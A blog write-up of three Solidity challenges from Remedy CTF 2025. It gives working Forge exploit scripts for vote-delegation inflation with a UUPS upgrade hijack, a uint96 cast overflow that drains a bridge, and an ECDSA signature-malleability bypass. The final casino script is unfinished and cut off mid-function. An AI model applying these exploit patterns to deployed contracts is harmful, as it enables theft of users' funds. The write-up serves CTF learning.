Post

Remedy CTF 2025 (Diamond, Rich, Casino)

i could solve only three easy solidity challs :/ but in the casino challenge, i was able to bypass the signature but not the bet() function. hope that i will be better


Diamoand Heist

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
    uint constant public DIAMONDS = 31337;
    uint constant public HEXENS_COINS = 10_000 ether;
    bool claimed;
    
    constructor (address player) {
        PLAYER = player;
        vaultFactory = new VaultFactory();
        vault = vaultFactory.createVault(keccak256("The tea in Nepal is very hot. But the coffee in Peru is much hotter."));
        diamond = new Diamond(DIAMONDS);
        hexensCoin = new HexensCoin();
        vault.initialize(address(diamond), address(hexensCoin));
        diamond.transfer(address(vault), DIAMONDS);
    }

// (...) Skip
    function isSolved() external view returns (bool) {
        return diamond.balanceOf(PLAYER) == DIAMONDS;
    }

we should take 31337 tokens to solve this challenge and diamond is ERC20 token and it already been transferred 31337 tokens to the Vault

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
contract Vault is Initializable, UUPSUpgradeable, OwnableUpgradeable {

    uint constant public AUTHORITY_THRESHOLD = 100_000 ether;

    Diamond diamond;
    HexensCoin hexensCoin;

    function initialize(address diamond_, address hexensCoin_) public initializer {
        __Ownable_init();
        diamond = Diamond(diamond_);
        hexensCoin = HexensCoin(hexensCoin_);
    }

    function governanceCall(bytes calldata data) external {
        require(msg.sender == owner() || hexensCoin.getCurrentVotes(msg.sender) >= AUTHORITY_THRESHOLD);
        (bool success,) = address(this).call(data);
        require(success);
    }

    function burn(address token, uint amount) external {
        require(msg.sender == owner() || msg.sender == address(this));
        Burner burner = new Burner();
        IERC20(token).transfer(address(burner), amount);
        burner.destruct();
    }
    
    function _authorizeUpgrade(address) internal override view {
        require(msg.sender == owner() || msg.sender == address(this));
        require(IERC20(diamond).balanceOf(address(this)) == 0);
    }
}

if we can call the governanceCall() function, we can abuse the Vault Contract but we need to vote 100_000 ether for it. (but we have only 10_000 ether :/)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
    function _delegate(address delegator, address delegatee)
        internal
    {
        address currentDelegate = _delegates[delegator];
        uint256 delegatorBalance = balanceOf(delegator);
        _delegates[delegator] = delegatee;

        emit DelegateChanged(delegator, currentDelegate, delegatee);

        _moveDelegates(currentDelegate, delegatee, delegatorBalance);
    }

    function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
        if (srcRep != dstRep && amount > 0) {
            if (srcRep != address(0)) {
                uint32 srcRepNum = numCheckpoints[srcRep];
                uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
                uint256 srcRepNew = srcRepOld - amount;
                _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
            }

            if (dstRep != address(0)) {
                uint32 dstRepNum = numCheckpoints[dstRep];
                uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
                uint256 dstRepNew = dstRepOld + amount;
                _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
            }
        }
    }

they provided only 10_000 ether so we cannot vote for 100_000 ether in general but we can exploit the process of delegated voting. however if srcRep is not zero address in _moveDeleages, it subtracts amout we want to vote from old votes.

1
2
3
4
5
6
7
8
9
10
11
12
player → user2 (10_000 ether)
_delegate(user2, player)
player.votes = 10_000 ether
_deleages[user2] = player
user2 → player (10_000 ether)

player→user3 (10_000 ether)
_deleagete(user3, player) 
at this time, the sender is different so srcRep is zero address  even though we voted before. therefore our vote won’t go through the process to subtraction
player.votes = 20_000 ether
_delegates[user3] = player
user3 → player (10_000 ether)

however we can solve this issue with the way to delegate to player from new CA. therefore, we should transfer 10_000 ether to new CA then the CA should transfer it back to player after delegation. ⇒ we can get 100_000 ether votes after repeating it 10 times

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.13;

import "forge-std/Script.sol";
import "../src/Challenge.sol";
import "../src/HexensCoin.sol";

contract ASDF {
    HexensCoin public hexensCoin;
    address public player;
    constructor (address hexens, address _player) {
        hexensCoin = HexensCoin(hexens);
        player = _player;
    }

    function votesTransfer() external {
        hexensCoin.delegate(player);
        hexensCoin.transfer(player, 10_000 ether);
    }
}

contract Solve is Script {
    address private challengeAddress = 0x32fFc5cC2567c69a31dc2d0E71579A325828Af5F;
    uint256 private playerPrivateKey = 0xb0f205587a31546a5ebb5ac2f42bbaf6a6ffe841192610a98349c63f3a82a466;

    function run() external {
        vm.startBroadcast(playerPrivateKey);

        Challenge challenge = Challenge(challengeAddress);
        HexensCoin hexensCoin = challenge.hexensCoin();
        address hexen_addr = address(hexensCoin);
        address player = vm.addr(playerPrivateKey);

        challenge.claim();
        for(uint i = 0; i < 10; i++){
            ASDF asdf = new ASDF(hexen_addr, player);
            hexensCoin.transfer(address(asdf), 10_000 ether);
            asdf.votesTransfer();
        }

        console.log("votes : ", hexensCoin.getCurrentVotes(player));
        vm.stopBroadcast();
    }
}

now we have 100_000 ether votes so can call the governanceCall() function of Vault.sol. we need to think what we can do with governanceCall() function.

first of all, we know that the vault contract has 31337 tokens but we cannot transfer it to our address by governanceCall() function but the Contract is implemented with the UUPSUpgradeable protocol so it can be upgrade to our contract

1
2
3
4
5
6
7
8
9
10
11
    function burn(address token, uint amount) external {
        require(msg.sender == owner() || msg.sender == address(this));
        Burner burner = new Burner();
        IERC20(token).transfer(address(burner), amount);
        burner.destruct();
    }
    
    function _authorizeUpgrade(address) internal override view {
        require(msg.sender == owner() || msg.sender == address(this));
        require(IERC20(diamond).balanceOf(address(this)) == 0);
    }

but to upgrade, Vault’s balance of diamond should 0 so we should call the burn() function to transfer token to burner address. (buner will be destroyed too). that means we shoud re-use buner address.

1
address = keccak256(rlp([deployer_address, nonce]))[12:]

however in EVM, addresses are generated as above (msg.sender, nonce), so this is not a big problem. we’re gonna destroy contract then deploy again with our contract, it will deploy on the same address

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    function _upgradeToAndCallUUPS(
        address newImplementation,
        bytes memory data,
        bool forceCall
    ) internal {
        // Upgrades from old implementations will perform a rollback test. This test requires the new
        // implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing
        // this special case will break upgrade paths from old UUPS implementation to new ones.
        if (StorageSlot.getBooleanSlot(_ROLLBACK_SLOT).value) {
            _setImplementation(newImplementation);
        } else {
            try IERC1822Proxiable(newImplementation).proxiableUUID() returns (bytes32 slot) {
                require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID");
            } catch {
                revert("ERC1967Upgrade: new implementation is not UUPS");
            }
            _upgradeToAndCall(newImplementation, data, forceCall);

_upgradeToAndCallUUPS() function of ERC1967Upgrade will call the proxiableUUID() function from our contract so we should define it.

Solve.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.13;

import "forge-std/Script.sol";
import "../src/Challenge.sol";
import "../src/HexensCoin.sol";
import "../src/MaliciousVault.sol";

contract ASDF {
    HexensCoin public hexensCoin;
    address public player;
    constructor (address hexens, address _player) {
        hexensCoin = HexensCoin(hexens);
        player = _player;
    }

    function votesTransfer() external {
        hexensCoin.delegate(player);
        hexensCoin.transfer(player, 10_000 ether);
    }
}

contract Solve is Script {
    address private challengeAddress = 0xA496102C58a59bfec07c14b08C1b976fd242ec91;
    uint256 private playerPrivateKey = 0xfc986909eb13d86baa48c0d89e4c25ead0b2967ade984e9805a09bdeacb7baf0;

    function run() external {
        vm.startBroadcast(playerPrivateKey);

        Challenge challenge = Challenge(challengeAddress);
        HexensCoin hexensCoin = challenge.hexensCoin();
        address factoryAddress = address(challenge.vaultFactory());
        address vaultAddress = address(challenge.vault());
        address diamondAddress = address(challenge.diamond());
        address hexen_addr = address(hexensCoin);
        address player = vm.addr(playerPrivateKey);

        challenge.claim();
        for(uint i = 0; i < 10; i++){
            ASDF asdf = new ASDF(hexen_addr, player);
            hexensCoin.transfer(address(asdf), 10_000 ether);
            asdf.votesTransfer();
        }
        require(hexensCoin.getCurrentVotes(player) == 100_000 ether);
        console.log("votes : ", hexensCoin.getCurrentVotes(player));
        
        bytes memory burnData = abi.encodeWithSignature(
            "burn(address,uint256)",
            diamondAddress,
            IERC20(diamondAddress).balanceOf(vaultAddress)
        );
        Vault(vaultAddress).governanceCall(burnData);

        MaliciousVault maliciousImplementation = new MaliciousVault();
        console.log("maliciousImplementation : ", address(maliciousImplementation));
        bytes memory upgradeData = abi.encodeWithSignature(
            "upgradeTo(address)",
            address(maliciousImplementation)
        );
        Vault(vaultAddress).governanceCall(upgradeData);

        bytes memory selfDestructData = abi.encodeWithSignature("selfDestruct()");
        vaultAddress.call(selfDestructData);
        vm.stopBroadcast();
    }
}

Solve1.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.13;

import "forge-std/Script.sol";
import "../src/Challenge.sol";
import "../src/HexensCoin.sol";
import "../src/MaliciousVault.sol";

contract Solve1 is Script {
    address private challengeAddress = 0xA496102C58a59bfec07c14b08C1b976fd242ec91;
    uint256 private playerPrivateKey = 0xfc986909eb13d86baa48c0d89e4c25ead0b2967ade984e9805a09bdeacb7baf0;

    function run() external {
        vm.startBroadcast(playerPrivateKey);

        Challenge challenge = Challenge(challengeAddress);
        HexensCoin hexensCoin = challenge.hexensCoin();
        Vault vault = challenge.vault();

        address factoryAddress = address(challenge.vaultFactory());
        address vaultAddress = address(challenge.vault());
        address diamondAddress = address(challenge.diamond());
        address hexen_addr = address(hexensCoin);
        address player = vm.addr(playerPrivateKey);

        Diamond diamond = challenge.diamond();
        VaultFactory factory = VaultFactory(factoryAddress);
        bytes32 salt = keccak256("The tea in Nepal is very hot. But the coffee in Peru is much hotter.");
        Vault newVault = factory.createVault(salt);
        newVault.initialize(address(diamond), address(hexensCoin));

        MaliciousVault maliciousImplementation = new MaliciousVault();
        bytes memory upgradeNewVaultData = abi.encodeWithSignature(
            "upgradeTo(address)",
            address(maliciousImplementation)
        );
        vault.governanceCall(upgradeNewVaultData);

        bytes memory transferData = abi.encodeWithSignature(
            "_CREATE2(address,address)",
            diamondAddress,
            player
        );

        address(newVault).call(transferData);
        console.log("diamond.balanceOf(PLAYER) : ", diamond.balanceOf(player));
        vm.stopBroadcast();
    }
}

MaliciousVault.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.13;
import "./openzeppelin-contracts/token/ERC20/ERC20.sol";
import "../src/MaliciousVault.sol";

contract MaliciousVault {
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    function proxiableUUID() external view returns (bytes32) {
        return _IMPLEMENTATION_SLOT;
    }
    
    function selfDestruct() external {
        selfdestruct(payable(msg.sender));
    }

    function _CREATE2(address _diamond, address player) external {
        LastOne lastone = new LastOne(_diamond, player);
    }
}

contract LastOne {
    constructor(address diamond, address player) {
        IERC20(diamond).transfer(player, IERC20(diamond).balanceOf(address(this)));
    }
}

so just attack to get the flag using this logic


Rich Man’s bet

1
2
3
4
5
    function isSolved() external view returns (bool) {
        return challengeSolved 
            && solver == PLAYER 
            && address(BRIDGE).balance == 0;
    }

we should solve easy math challenge then drain the balance of the BRIDGE contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
    function withdrawEth(bytes32 messageHash, bytes[] calldata signatures, address receiver, uint amount, bytes calldata callback) external onlyValidator {
        require(amount > 0, "Amount must be greater than zero");
        require(!processedMessages[messageHash], "Message already processed");

        uint256 accumulatedWeight = 0;
        address lastSigner = address(0);

        for (uint256 i = 0; i < signatures.length; i++) {
            address signer = messageHash.toEthSignedMessageHash().recover(signatures[i]);

            require(signer != lastSigner, "Repeated signer");

            // Ensure signer is in the withdraw validator list
            bool isValidValidator = false;
            for (uint256 j = 0; j < withdrawValidators.length; j++) {
                if (withdrawValidators[j] == signer) {
                    isValidValidator = true;
                    break;
                }
            }

            require(isValidValidator, "Invalid withdraw validator");

            // Count each valid validator equally
            accumulatedWeight += 1;
            lastSigner = signer;
        }

        require(
            accumulatedWeight >= threshold,
            "Insufficient weight to process withdrawal"
        );

        // Mark the message as processed
        processedMessages[messageHash] = true;

        // Transfer ETH to the recipient
        if (amount > address(this).balance)
            amount = address(this).balance;
        (bool success, ) = payable(receiver).call{value: amount}(callback);

        emit EthWithdrawn(msg.sender, success, amount);
    }

there is withdrawEth() function in BRIDGE contract but to use, we shoud bypass the onlyValidator() modifier and go through the process of comparing accumulatedWeight with threshold

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
    modifier onlyValidator() {
        require(validatorWeights[msg.sender] > 0, "Caller is not a bridge setting validator");
        _;
    }
    
// (...) Skip 
    function onERC1155Received(
        address,
        address from,
        uint256,
        uint256,
        bytes calldata
    ) external override onlyAdminNft returns (bytes4) {
        if (validatorWeights[from] == 0) {
            bridgeSettingValidators.push(from);
        }

        validatorWeights[from] += NFT_WEIGHT;
        totalWeight += NFT_WEIGHT;

        return this.onERC1155Received.selector;
    }

    // Handle batch deposits of NFTs and register/update validators for bridge settings
    function onERC1155BatchReceived(
        address,
        address from,
        uint256[] calldata ids,
        uint256[] calldata,
        bytes calldata
    ) external override onlyAdminNft returns (bytes4) {
        uint256 totalAddedWeight = 0;

        if (ids.length > 1) {
            for (uint256 i = 0; i < ids.length; i++) {
                totalAddedWeight += NFT_WEIGHT;
            }
        } else {
            totalAddedWeight = NFT_WEIGHT;
        }

        validatorWeights[from] += totalAddedWeight;
        totalWeight += totalAddedWeight;

        if (validatorWeights[from] == totalAddedWeight) {
            bridgeSettingValidators.push(from);
        }

        return this.onERC1155BatchReceived.selector;
    }

the way to bypass the onlyValidator() modifier is simple: just pass if the validatorWeights[msg.sender] is bigger than 0. in onERC1155Received() and onERC1155BatchReceived() function, validatorWeights value is managed so we can control it if we call this functions. typically, the two functions is callback function from some library

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    function _doSafeTransferAcceptanceCheck(
        address operator,
        address from,
        address to,
        uint256 id,
        uint256 amount,
        bytes memory data
    ) private {
        if (to.isContract()) {
            try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
                if (response != IERC1155Receiver.onERC1155Received.selector) {
                    revert("ERC1155: ERC1155Receiver rejected tokens");
                }
            } catch Error(string memory reason) {
                revert(reason);
            } catch {
                revert("ERC1155: transfer to non-ERC1155Receiver implementer");
            }
        }
    }

_doSafeTransferAcceptanceCheck() function is the function of ERC1151 and it calls onERC1155Received() function so we can call also this function if we call the safeTransferFrom() or safeBatchTransferFrom() function

so just call like this: adminNFT.safeTransferFrom(player, address(bridge), 0, 0, bytes("")); then validatorWeights[player] will be 50. and now last thihg we need to do is that accumulatedWeight make equal or bigger than threshold (threshold is set to 10)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
    function changeBridgeSettings(
        bytes calldata message,
        bytes[] calldata signatures
    ) external onlyValidator {
        uint256 accumulatedWeight = 0;
        address lastSigner = address(0);

        address newChallengeContract;
        address newAdminNftContract;
        uint256 newThreshold;

        for (uint256 i = 0; i < signatures.length; i++) {
            address signer = message.toEthSignedMessageHash().recover(signatures[i]);

            require(signer != lastSigner, "Repeated signer");

            if (validatorWeights[signer] > 0) {
                accumulatedWeight += validatorWeights[signer];
            }

            lastSigner = signer;
        }

        require(
            accumulatedWeight >= totalWeight / 2,
            "Insufficient weight to change settings"
        );

        // Decode new parameters from the message
        (newChallengeContract, newAdminNftContract, newThreshold) = abi.decode(
            abi.encodePacked(message),
            (address, address, uint256)
        );

        require(newThreshold > 1, "New threshold must be above 1");

        // Call internal function to update bridge settings
        _updateBridge(newChallengeContract, newAdminNftContract, newThreshold);
    }

    // Internal function to update bridge settings
    function _updateBridge(address newChallengeContract, address newAdminNftContract, uint256 newThreshold) internal {
        challengeContract = newChallengeContract;
        adminNftContract = newAdminNftContract;
        threshold = uint96(newThreshold);

        emit BridgeUpdated(newChallengeContract, newAdminNftContract, newThreshold);
    }

and now it’s turn to go through the process of comparing accumulatedWeight with threshold but it’s hard to sign but there is changeBridgeSettings() function which provied function to change settings (including threshold) if we can set the threshold to 0, we don’t need to sign but it checks the newThreshold is bigger than 0 or not so in general, we cannot set it to zero

however there is one stupid casting. in changeBridgeSettings() function, newThreshold is uint256 but in _updateBridge() function, newThreshold is casted by the uint96() function

uint256’s maximum value is 2 ** 256 -1 and uint96’s maximum value is 2 ** 96 -1. so if uint256:2 ** 96 will be casted by the uint96() function, it will be 0 via overflow. yes it’s so simple, we can just set the threshold to 0 using overflow

but it requires that the accumulatedWeight vlaue is equal or bigger that totalWeight / 2. before, we setted the it to 50 using the safeTransferFrom() function. but this function can set only 50 but if we use the safeBatchTransferFrom() function, we can increase this value by multiples of 50 for the number of ids in the array

Solve.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import "forge-std/Script.sol";
import "src/openzeppelin-contracts/utils/cryptography/ECDSA.sol";
import {Challenge} from "../src/Challenge.sol";
import {AdminNFT} from "../src/AdminNFT.sol";
import {Bridge} from "../src/Bridge.sol";

contract Solve is Script {
    using ECDSA for bytes;
    using ECDSA for bytes32;

    Challenge public challenge;
    AdminNFT public adminNFT;
    Bridge public bridge;

    address private player;
    address private _challenge = 0x428a7ec1f430613568113B448b790C517C842D76;
    uint256 private playerPrivateKey = 0x5cecd56dd7a945a96c2a226ded44ba5ef9f0fea2caf85a6c00d15c633cb84c13;

    function run() external {
        challenge = Challenge(_challenge);
        adminNFT = challenge.ADMIN_NFT();
        bridge = challenge.BRIDGE();
        player = vm.addr(playerPrivateKey);
        vm.startBroadcast(playerPrivateKey);

        console.log("Starting exploit...");

        challenge.solveStage1(6);
        require(challenge.stage1Solved(), "Stage 1 not solved");

        challenge.solveStage2(5959, 1);
        require(challenge.stage2Solved(), "Stage 2 not solved");

        challenge.solveStage3(1, 0, 2);
        require(challenge.stage3Solved(), "Stage 3 not solved");

        bridge.verifyChallenge();
        require(challenge.challengeSolved(), "Challenge not solved");
        require(challenge.solver() == player, "Player is not the solver");

        adminNFT.safeTransferFrom(player, address(bridge), 0, 0, bytes(""));
        require(bridge.validatorWeights(player) == 50, "Validator weight incorrect after single transfer");

        uint256[] memory amaaaaan = new uint256[](300);
        for (uint i = 0; i < amaaaaan.length; i++) {
            amaaaaan[i] = 0;
        }

        uint256;
        adminNFT.safeBatchTransferFrom(player, address(bridge), amaaaaan, amaaaaan, bytes(""));
        require(bridge.validatorWeights(player) == 10_050, "Validator weight incorrect after batch transfer");
        require(bridge.totalWeight() == 20_050, "Total weight incorrect after batch transfer");

        uint256 newThreshold = 2 ** 96; 
        bytes memory message = abi.encode(address(challenge), address(adminNFT), newThreshold);
        bytes32 ethSignedMessageHash = message.toEthSignedMessageHash();

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPrivateKey, ethSignedMessageHash);
        bytes memory signature = abi.encodePacked(r, s, v);
        bytes[] memory signatures = new bytes[](1);
        signatures[0] = signature;

        bridge.changeBridgeSettings(message, signatures);
        require(bridge.threshold() == 0, "Threshold did not overflow to 0");

        bridge.withdrawEth(bytes32(""), new bytes[](0), player, type(uint256).max, bytes(""));
        require(address(bridge).balance == 0, "Bridge balance not 0 after withdrawal");

        require(challenge.isSolved(), "Challenge not fully solved");
        console.log("Exploit completed successfully");
        vm.stopBroadcast();
    }
}

)

so just attack to get the flag using this logic


Casino Avengers

1
2
3
4
    function isSolved() external view returns (bool) {
        return address(PLAYER).balance >= 99 ether
            && address(CASINO).balance == 0;
    }

we should drain the Casino contract’s balance and get 99 or more ether

1
2
3
4
5
6
7
8
    modifier whenNotPaused {
        if (paused) revert Paused();
        _;
    }
// (...) skip
    function deposit(address receiver) external payable {
        _deposit(msg.sender, receiver, msg.value);
    }

first of all, we should deposit in casino to play a game but internal function is paused and it’s checked by whenNotPaused() modeifier. if the paused is false, we can use internal function.

1
2
3
4
5
6
7
    function pause(
        bytes memory signature,
        bytes32 salt
    ) external {
        _verifySignature(signature, abi.encode(0, salt));
        paused = !paused;
    }

we can change it with the pause() function but there is _verifySignature() function which performs the signature verification

1
2
3
4
5
6
7
8
    function _verifySignature(bytes memory signature, bytes memory digest) internal {
        if (nullifiers[signature]) revert SignatureAlreadyUsed();

        address signatureSigner = ECDSA.recover(keccak256(digest), signature);
        if (signatureSigner != signer) revert InvalidSignature();

        nullifiers[signature] = true;
    }

in the _verifySignature() function, it recovers the signature by the ECDSA.recover() function then check that the signatureSinger is equal with singer or not. singer is which signed with vm.envString("MNEMONIC")'s pv key.

so we need to make signature(r, v, s) then verify that it is equal with singer or not but there is a signature value duplication verification so we cannot pass it even we know pvKey

1
2
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (utils/cryptography/ECDSA.sol)

but this casino uses the ECDSA which vulnerable to signature malleability. this library provide EIP-2098 compact signature so we can exploit it. different signature but same singerAddress -> bypass duplicates (r, v, s ~> r, vs)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.28;

import "forge-std/Script.sol";
import "../src/Challenge.sol";
import "../src/Casino.sol";

contract Solve is Script {
    address public PLAYER;
    address public SIGNER;
    address public challengeAddress = 0x1DE370ea59CD090aE8AB711f45791462FE9388fb;
    uint256 public playerPrivateKey = 0xc0f770872cf69c87ed47f69f8129d8beaea5b5747d76e510a0a61e2037bb3d56;
    uint256 public targetBalance = 99 ether;

    Challenge public challenge;
    Casino public casino;
    constructor() {
        challenge = Challenge(challengeAddress);
        PLAYER = challenge.PLAYER();
        casino = challenge.CASINO();
        SIGNER = casino.signer();
    }

    function convertToEIP2098(bytes32 r, bytes32 s, uint8 v) public pure returns (bytes32, bytes32) { // by ChatGPT Ammmeennn
        require(v == 27 || v == 28, "Invalid v value");
        bytes32 vs = s | bytes32(uint256(v - 27) << 255);
        return (r, vs);
    }

    function splitSignature(bytes memory signature)
        public
        pure
        returns (bytes32 r, bytes32 s, uint8 v)
    {
        require(signature.length == 65, "Invalid signature length");

        assembly {
            r := mload(add(signature, 0x20))
            s := mload(add(signature, 0x40))
            v := byte(0, mload(add(signature, 0x60)))
        }
    }

    function run() external {
        bytes32 r;
        bytes32 s;
        uint8 v;
        bytes32 vs;
        bytes32 salt = 0x5365718353c0589dc12370fcad71d2e7eb4dcb557cfbea5abb41fb9d4a9ffd3a;

        bytes memory signature = hex"8b7342b87c27fef0d248ddcfee8109981cba01babcd6c867b62fdf2ed8cab756406b8794b1adefb5b069038c4c2d989663212a6d1ffa6bdb1ce5c984b6afec841c";
        (r, s, v) = splitSignature(signature);
        (r, vs) = convertToEIP2098(r, s, v);

        vm.startBroadcast(playerPrivateKey);
        console.log("casino balance : ", address(casino).balance);
        console.log("player balance : ", address(PLAYER).balance);
        console.log("signer address : ", SIGNER);

        casino.pause(
            abi.encodePacked(r, vs),
            salt
        );

        console.log("puase : ", casino.paused());
        vm.stopBroadcast();
    }
}

we can resume with this code, let’s go next step

1
2
3
4
5
6
7
8
9
10
    function _withdraw(address withdrawer, address receiver, uint256 amount) internal whenNotPaused {
        if (balances[withdrawer] < amount) revert InvalidAmount();

        if (address(this).balance < amount) amount = address(this).balance;

        balances[withdrawer] -= amount;
        emit Withdraw(withdrawer, receiver, amount);

        reciever.call{value: amount}("");
    }

and we can withdraw it if we have balance in casino

1
2
3
4
5
6
7
8
9
10
11
12
13
14
    function bet(uint256 amount) external returns (bool) {
        if (balances[msg.sender] < amount) revert InvalidAmount();

        uint256 random = uint256(keccak256(abi.encode(gasleft(), block.number, totalBets)));
        bool win = random % 2 == 1;

        if (win) balances[msg.sender] += amount;
        else balances[msg.sender] -= amount;

        totalBets++;

        emit Bet(msg.sender, amount, win);
        return win;
    }

if we win a game, we can fill our balances to amount but this amount should smaller than our balance. so we should win almost 100 times to earn more than 99 ether. from now on, we should think how to always win because our balances goes down when we lose the game

but i couldn’t win the gam. i just tried to keep calling the bet() function till i win 100 times. however as i told, our balances goes down when we lose the game, acrroding to this logic, we can’t keep playing the game because we have no our balance in casino.

however if we’re gonna call the revert() function when we lose the game then play again? our balances not goes down so well able to keep playing it. it was a scenario ans seems nice. but states is revert to before transaction was performed if the revert() function is called while operating on EVM so i could not do it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.8.2 <0.9.0;

contract ameeeen {
    function bet(uint256 num) external returns (bool) {
        if ((num % 2) == 0) {
            return true;
        }
        else {
            return false;
        }
    }
}

contract Callllll {
    mapping(uint => bool) public balances;
    ameeeen public am;
    bool checkkkkkk;
    
    constructor() {
        am = new ameeeen();
    }

    function asdf1() external {
        for(uint i = 0; i < 100; i++){
            asdf2(i);
        }
    }

    function asdf11() external {
        for(uint i = 0; i < 100; i++){
            address(this).call(abi.encodeWithSignature("asdf2(uint256)", i));
        }
    }

    function asdf2(uint256 num) internal returns (bool) {
        bool checkk;
        checkk = am.bet(num);
        if (checkk == true) {
            return true;
        } else {
            revert();
        }
    }
}

if we call some function with the .call() function, only the transaction performed through .call() function is reverted.. so i wrote test code as above, when i called the asdf1() function, it was reverted before transaction was performed but when i call the asdf11() it was just reverted the transaction which performed via .call() function. so we can just exploit with this trick to get winning.

Solve.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.28;

import "forge-std/Script.sol";
import "../src/Challenge.sol";
import "../src/Casino.sol";

contract Solve is Script {
    address public PLAYER;
    address public SIGNER;
    address public challengeAddress = 0xE11F8942C5Cf5Ccab5FB69e6F8A57aAB66779b3c;
    uint256 public playerPrivateKey = 0x346b49a856db3bdd7fb2d4b126051630cc0851fb7c85bb2dab397d07e6a134d1;
    uint256 public targetBalance = uint256(~~~address(casino).balance);

    Challenge public challenge;
    Casino public casino;
    constructor() {
        challenge = Challenge(challengeAddress);
        PLAYER = challenge.PLAYER();
        casino = challenge.CASINO();
        SIGNER = casino.signer();
    }

    function convertToEIP2098(bytes32 r, bytes32 s, uint8 v) public pure returns (bytes32, bytes32) { // by ChatGPT Ammmeennn
        require(v == 27 || v == 28, "Invalid v value");
        bytes32 vs = s | bytes32(uint256(v - 27) << 255);
        return (r, vs);
    }
    function t(uint256 a) pure public returns (uint256) {
        return ~~~(uint256(a));
    }

    function splitSignature(bytes memory signature)
        public
        pure
        returns (bytes32 r, bytes32 s, uint8 v)
    {
        require(signature.length == 65, "Invalid signature length");

        assembly {
            r := mload(add(signature, 0x20))
            s := mload(add(signature, 0x40))
            v := byte(0, mload(add(signature, 0x60)))
        }
    }

    function run() external {
        bytes32 r;
        bytes32 s;
        uint8 v;
        bytes32 vs;
        bytes32 salt = 0x5365718353c0589dc12370fcad71d2e7eb4dcb557cfbea5abb41fb9d4a9ffd3a;

        bytes memory signature = hex"32740cc719bfdb5f10af41671b9dc16affeea5cb88d7abacebdded60cdc50a6d46c86e7ad26a56e4e77c307047a02f7c3d0d91bb91428f2b392643781ea89b4c1c";
        (r, s, v) = splitSignature(signature);
        (r, vs) = convertToEIP2098(r, s, v);

        vm.startBroadcast(playerPrivateKey);
        console.log("casino balance : ", address(casino).balance);
        console.log("player balance : ", address(PLAYER).balance);
        console.log("signer address : ", SIGNER);

        casino.pause(abi.encodePacked(r, vs), salt);
        casino.deposit{value:0.2 ether}(address(this));
        console.log("puase : ", casino.paused());
        console.log("casino player balance before bet() : ", casino.balances(address(this)));
        attack();
        console.log("casino player balance after bet() : ", casino.balances(address(this)));
        //console.log("isSolved : ", challenge.isSolved());
        vm.stopBroadcast();
    }

    function attack() public {
